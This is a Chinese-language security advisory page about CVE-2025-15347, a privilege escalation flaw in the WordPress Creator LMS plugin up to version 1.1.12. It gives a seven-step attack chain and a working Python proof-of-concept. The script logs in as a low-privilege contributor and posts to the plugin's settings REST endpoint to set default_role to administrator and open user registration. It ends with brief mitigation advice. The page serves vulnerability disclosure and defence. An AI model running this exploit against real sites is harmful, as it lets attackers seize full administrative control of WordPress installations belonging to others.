IPBUF安全漏洞报告
English
CVE-2025-15347 CVSS 8.8 高危

CVE-2025-15347 WordPress Creator LMS插件权限提升漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-15347
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Creator LMS – The LMS for Creators, Coaches, and Trainers

相关标签

CVE-2025-15347WordPress插件漏洞权限提升Creator LMSREST API未授权访问WordPress安全

漏洞概述

CVE-2025-15347是WordPress插件Creator LMS中的一个高危安全漏洞。该插件是为创作者、教练和培训师设计的在线学习管理系统。漏洞根源在于get_items_permissions_check函数缺少必要的权限检查机制,导致低权限用户(如contributor角色)可以执行超出其权限范围的操作。具体而言,攻击者可以利用此漏洞修改任意WordPress选项,进而可能实现权限提升,获取管理员权限。该漏洞影响版本至1.1.12,CVSS评分高达8.8,属于高危漏洞。由于攻击复杂度低且无需用户交互,认证用户可直接利用此漏洞进行恶意操作,对WordPress网站安全构成严重威胁。

技术细节

漏洞位于Creator LMS插件的REST API端点中,具体在SettingsController.php文件的get_items_permissions_check函数。该函数本应验证请求用户是否具有管理插件设置的权限,但实际上缺少权限检查逻辑。攻击者只需拥有WordPress的contributor角色(最低只需发表文章的权限),即可通过REST API向插件发送请求,调用存在漏洞的函数。由于WordPress的选项(options)表存储了网站的核心配置信息,包括站点URL、用户注册设置、默认角色等关键参数,攻击者可以通过修改这些选项实现权限提升。例如,将default_role选项改为administrator,然后注册新账户即可获得管理员权限。此外,攻击者还可以修改siteurl选项进行钓鱼攻击,或禁用用户注册限制。漏洞的利用需要攻击者已经拥有有效的WordPress账户,且能够访问REST API端点。

攻击链分析

STEP 1
步骤1
攻击者在目标WordPress网站注册一个contributor级别的账户
STEP 2
步骤2
攻击者使用该账户登录并获取有效的会话cookie
STEP 3
步骤3
攻击者构造恶意请求,访问插件的REST API端点/wp-json/creatorlms/v1/settings
STEP 4
步骤4
由于get_items_permissions_check函数缺少权限检查,API接受请求并允许修改WordPress选项
STEP 5
步骤5
攻击者将default_role选项修改为administrator,启用用户注册功能
STEP 6
步骤6
攻击者注册新账户,该账户自动获得管理员权限
STEP 7
步骤7
攻击者使用新管理员账户登录后台,完全控制整个WordPress网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-15347 PoC - Creator LMS Privilege Escalation # Target: WordPress site with Creator LMS plugin <= 1.1.12 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_auth_cookie(): """Authenticate and get WordPress session cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_privilege_escalation(cookies): """Exploit CVE-2025-15347 to change WordPress options""" # REST API endpoint for Creator LMS settings api_url = f"{TARGET_URL}/wp-json/creatorlms/v1/settings" # Malicious payload - change default role to administrator payload = { 'default_role': 'administrator', 'users_can_register': '1' } headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': 'required-nonce' # May be missing or bypassable } # Send request to modify options response = requests.post( api_url, json=payload, cookies=cookies, headers=headers ) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.status_code == 200 if __name__ == "__main__": print("[*] CVE-2025-15347 Exploitation") cookies = get_auth_cookie() if cookies: print("[+] Authentication successful") if exploit_privilege_escalation(cookies): print("[+] Privilege escalation successful!") print("[+] Default role changed to administrator")

影响范围

Creator LMS plugin <= 1.1.12

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:1) 限制新用户注册功能;2) 监控wp_options表中关键配置项的变更;3) 对REST API端点实施访问频率限制;4) 考虑暂时禁用Creator LMS插件;5) 使用Web应用防火墙规则阻止对/wp-json/creatorlms/路径的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表